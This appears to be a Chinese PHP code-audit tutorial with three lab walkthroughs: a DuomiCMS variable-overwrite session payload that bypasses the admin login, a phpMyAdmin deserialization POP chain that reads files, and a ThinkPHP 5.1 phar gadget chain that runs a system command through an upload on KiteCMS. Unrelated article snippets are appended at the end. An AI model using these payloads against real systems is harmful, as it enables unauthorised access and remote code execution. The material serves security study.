代码审计-PHP模型开发篇动态调试反序列化变量覆盖TP框架原生POP链

知识点

1、PHP审计-动态调试-变量覆盖
2、PHP审计-动态调试-原生反序列化
3、PHP审计-动态调试-框架反序列化

PHP常见漏洞关键字

SQL注入:
select insert update  delete mysql_query mysqli等
文件上传:
$_FILES,type="file",上传,move_uploaded_file()等 
XSS跨站:
print print_r echo sprintf die var_dump var_export等
文件包含:
include include_once require require_once等
代码执行:
eval assert preg_replace call_user_func call_user_func_array等
命令执行:
system exec shell_exec `` passthru pcntl_exec popen proc_open
变量覆盖:
extract() parse_str() importrequestvariables() $$ 等
反序列化:
serialize() unserialize() __construct __destruct等
其他漏洞:
unlink() file_get_contents() show_source() file() fopen()

通用关键字

$_GET,$_POST,$_REQUEST,$_FILES,$_SERVER

一、演示案例-PHP审计-动态调试-原生变量覆盖-DuomiCMS

在这里插入图片描述
搭建环境:Phpstudy_pro+Php5.3+Apache+Mysql

1、找到一个配置common.php(搜$$)

在这里插入图片描述
在这里插入图片描述

2、找一个利用点(后台登录点覆盖session)

login.php->checkuser()->keepUser()

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、动态调试获取保持登录当前的session

在这里插入图片描述
在这里插入图片描述

4、找一个能将session覆盖的地方(session_start函数调用)

-session_start函数调用

在这里插入图片描述
在这里插入图片描述

5、session覆盖进后台

_SESSION[duomi_admin_id]=1&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=admin

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

二、演示案例-PHP审计-动态调试-原生反序列化-PhpMyAdmin

搭建环境:Phpstudy_pro+Php5.3+Apache+Mysql
自动审计或搜索关键字找到文件及代码段

__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

1、搜unserialize找入口

/scripts/setup.php
$configuration = unserialize($_POST['configuration']);

在这里插入图片描述

2、找直接调用魔术方法__wakeup()

在这里插入图片描述

libraries/common.lib.php
触发:$_SESSION['PMA_Config']->__wakeup();libraries/Config.class.php
触发:$this->load($this->getSource());

3、跟踪load和getSource实现

getSource:获取变量source

在这里插入图片描述
在这里插入图片描述

loade:eval执行file_get_contents

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4、构造pop链发包触发文件读取

<?php
class PMA_Config{
var $source = 'd:/1.txt';
}$p=new PMA_Config();
echo serialize($p);
?>

在这里插入图片描述
触发:

Post:/scripts/setup.php
action=xiaodi&configuration=O:10:"PMA_Config":1:{s:6:"source",s:8:"d:/1.txt";}

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
反序列化本身并不是一个漏洞,而是通过反序列化调用到了其他漏洞函数从而利用反序列化执行例如RCE、文件读取等效果。

5、动态调试下断点看POP链

断点:$configuration = unserialize($_POST['configuration']);

在这里插入图片描述
在这里插入图片描述

三、演示案例-PHP审计-动态调试-框架反序列化-KiteCMS

搭建环境:Phpstudy2018+Php7.0+Apache+Mysql

1、源码目录分析采用TP框架开发

在这里插入图片描述

2、获取TP框架对应版本和漏洞情况

const VERSION = '5.1.37 LTS';

3、使用PHPGGC模版生成Phar文件

参考:https://www.cnblogs.com/zzjdbk/p/13030571.html
在这里插入图片描述

/phpggc-master/gadgetchains/ThinkPHP/RCE/1
调用链:gadgets.php
触发生成:chain.php

在这里插入图片描述
phar利用条件

phar文件要能够上传到服务器端。
如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
注意:将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

在这里插入图片描述

xiaodi.php
<?php
namespace think\process\pipes {class Windows{private $files;public function __construct($files){$this->files = array($files);}}
}
namespace think\model\concern {trait Conversion{protected $append = array("smi1e" => "1");}trait Attribute{private $data;private $withAttr = array("smi1e" => "system");public function get(){$this->data = array("smi1e" => "notepad");}}
}
namespace think {abstract class Model{use model\concern\Attribute;use model\concern\Conversion;}
}
namespace think\model{use think\Model;class Pivot extends Model{public function __construct(){$this->get();}}
}
namespace {$conver = new think\model\Pivot();$a = new think\process\pipes\Windows($conver);$phar = new Phar('xiaodi.phar');$phar -> stopBuffering();$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');$phar -> addFromString('test.txt','test');$phar -> setMetadata($a);$phar -> stopBuffering();
}
?>

在这里插入图片描述
在这里插入图片描述

4、找个上传文件地方后上传xiaodi.png

在这里插入图片描述
在这里插入图片描述

5、找加载文件地方(搜is_dir)

admin/controller/Admin.php
scanFiles、scanFilesForTree

在这里插入图片描述
在这里插入图片描述

6.在使用phar触发png 的pop链

http://192.168.1.148/admin/admin/scanFiles?dir=phar://./upload\/20231030\/306437f8a938426c66e97468b219ff61.pnghttp://192.168.1.148/admin/admin/scanFilesForTree?dir=phar://./upload\/20231030\/306437f8a938426c66e97468b219ff61.png

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/9510.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

QMetaObject 是 Qt 框架中的一个重要类,用于在运行时处理对象的元对象信息

QMetaObject 是 Qt 框架中的一个重要类&#xff0c;用于在运行时处理对象的元对象信息。每个继承自 QObject 的类在 Qt 中都有一个对应的 QMetaObject&#xff0c;用于存储该类的元对象信息&#xff0c;包括类名、父类、信号和槽等。 以下是 QMetaObject 类的一些主要功能和用…

linux搭建solr,使用java进行索引增删改查

在linux系统上搭建solr&#xff0c;并且使用ik分词&#xff0c;添加数据导入&#xff0c;使用java代码实现增删改查相关功能。 1.solr下载 下载solr的tar包&#xff1a;https://archive.apache.org/dist/lucene/solr&#xff0c;根据所需下载具体的版本呢 下载IK分词jar包&a…

Jupyter配置远程访问的密码

安装 下载Anaconda的.sh文件后&#xff0c;上传到服务器&#xff0c;然后进行安装&#xff1a; chmod x anaconda.sh ./anaconda.sh创建虚拟环境 可以指定Python版本创建虚拟环境&#xff1a; conda create --name langchain python3.11.7 conda activate langchain conda …

【Web前端】JavaScript交互编程

1.与html控件交互 使用document.getElementById(id名)获取控件使用document.getElementById(id名).value 获取控件值使用document.getElementById(id名).value给定值 设置控件值 2.使用js改变css 通过document.getElementById(id值).style.css属性名值 改变css 通过 document.g…

ArcGIS如何计算地级市间的距离

一、数据准备 加载配套实验数据包中的地级市和行政区划矢量数据(订阅专栏后,从私信查收数据),如下图所示: 二、计算距离 1. 计算邻近表 ArcGIS提供了计算点和另外点之间距离的工具:分析工具→邻域分析→生成临近表。 计算一个或多个要素类或图层中的要素间距离和其他邻…

QT 静态单例与对象管理机制导致的指针重复释放问题

这是我在应用中发现的问题&#xff0c;以此记录下。 当我使用Qt创建一个单例dialog时&#xff0c;为了给其设置父对象&#xff0c;我使用了setParent(this)。但由于同时这个单例dialog是个静态对象&#xff0c;使得dialog对象指针被重复释放。 //在waitingdlg.h中 static Wai…

linux下脚本监控mysql主从同步异常时发邮件通知

在MySQL中&#xff0c;同步异常监控通常涉及监控复制的状态。可以通过查询SHOW SLAVE STATUS命令来获取复制的状态信息&#xff0c;并对其进行监控。以下是一个简单的SQL脚本&#xff0c;用于监控MySQL复制状态并输出异常信息&#xff1a; 查mysql slave状态 SHOW SLAVE STAT…

==与===的区别

在许多编程语言和脚本语言中&#xff0c;包括 JavaScript 和 PHP 等&#xff0c; 和 是用于比较值的操作符。 “” 是相等运算符&#xff0c;用于比较两个值是否相等。它比较值时会进行类型转换&#xff0c;如果两个值在类型转换后相等&#xff0c;那么它们就被认为是相等的。…

Spark云计算平台Databricks使用,第一个scala程序

1) 创建Spark计算集群 Spark云计算平台Databricks使用&#xff0c;创建workspace和cluster-CSDN博客 2) 创建notebook Workspace -> Users&#xff0c;选择用户&#xff0c;点击Create -> Notebook 选择集群&#xff0c;可以修改notebook名字 修改了notebook名字 选择S…

鸢尾花分类-pytorch实现

前言 本文用pytorch实现了鸢尾花分类&#xff0c;数据不多&#xff0c;只做代码展示用&#xff0c;后续有升级版本。 代码 -*- coding: utf-8 -*- File : main.py Author: Shanmh Time : 2024/05/06 上午9:37 Function&#xff1a;import torch from sklearn import datase…

【Spring】Spring 整合 Junit、MyBatis

一、 Spring 整合 Junit <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0"xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation"http://maven.apache…

Sql Server 2016数据库定时备份

一、 配置备份计划任务 选中“维护计划“--右键--“维护计划向导” 完成

遥控挖掘机之ESP8266调试心得(1)

ESP8266调试心得 1. 前言2.遇到的问题2.1 ESP8266模块建立TCP连接时候报错2.2 指令异常问题 3. 更新ESP8266固件3. ESP8266的部分AT指令3. 连接步骤3.1 模块与电脑连接3.2.1 电脑上的设置3.2.2 ESP8266模块作为客户机&#xff08;TCP Cilent&#xff09;的设置步骤 3.2 模块与模…

从开发角度理解漏洞成因(02)

文章目录 文件上传类需求文件上传漏洞 文件下载类需求文件下载漏洞 扩展 留言板类&#xff08;XSS漏洞&#xff09;需求XSS漏洞 登录类需求cookie伪造漏洞万能密码登录 持续更新中… 文章中代码资源已上传资源&#xff0c;如需要打包好的请点击PHP开发漏洞环境&#xff08;SQL注…

蓝桥杯 算法提高 ADV-1164 和谐宿舍 python AC

贪心&#xff0c;二分 同类型题&#xff1a;蓝桥杯 算法提高 ADV-1175 打包 def judge(x):wood 0max_val 0ans_len 0for i in ll:if i > x:return Falseelif max(max_val, i) * (ans_len 1) < x:max_val max(max_val, i)ans_len 1else:wood 1max_val ians_len …

贝塞尔曲线 java

参考文章&#xff1a; 理解贝塞尔曲线https://blog.csdn.net/weixin_42301220/article/details/125167672 代码实现参考 https://blog.csdn.net/yinhun2012/article/details/118653732 贝塞尔 一二三阶java代码实现,N阶段可以通过降阶递归实现 public class Test extends JPan…

java选择结构语句

文章目录 Java选择结构语句的几种形式1. **if 单选择结构**:2. **if-else 双选择结构**:3. **if-else if 多选择结构**:4. **switch 选择结构**: Java 12及更高版本的Switch Expressions返回值的Switch表达式yield关键字使用Switch作为语句或表达式 Pattern Matching for insta…

Final Draft 12 for Mac:高效专业剧本创作软件

对于剧本创作者来说&#xff0c;一款高效、专业的写作工具是不可或缺的。Final Draft 12 for Mac就是这样一款完美的选择。这款专为Mac用户设计的剧本创作软件&#xff0c;凭借其卓越的性能和丰富的功能&#xff0c;让您的剧本创作更加得心应手。 Final Draft 12支持多种剧本格…

【C++】CentOS环境搭建-编译安装Boost库(附CMAKE编译文件)

【C】环境搭建-编译安装Boost库 Boost库简介Boost库安装通过YUM安装&#xff08;版本较低 V1.53.0&#xff09;通过编译安装&#xff08;官网最新版本1.85.0&#xff09;1.安装相关依赖2.查询官网下载最新安装包并解压3.编译Boost4.安装Boost库到系统路径 Boost库验证 Boost库简…

(22.12.20)matlab2022+yalmip+cplex安装教程,win11 x64

前言 Hi,你好&#xff01;最近刚刚更换新的电脑设备&#xff0c;安装软件时尽量选择最新版本&#xff0c;但也遇到了大大小小的安装问题&#xff0c;这里把踩到的坑一并总结出来&#xff0c;给出一份还算合理的MATLAByalmipCPLEX安装教程&#xff08;win11&#xff09;。 MAT…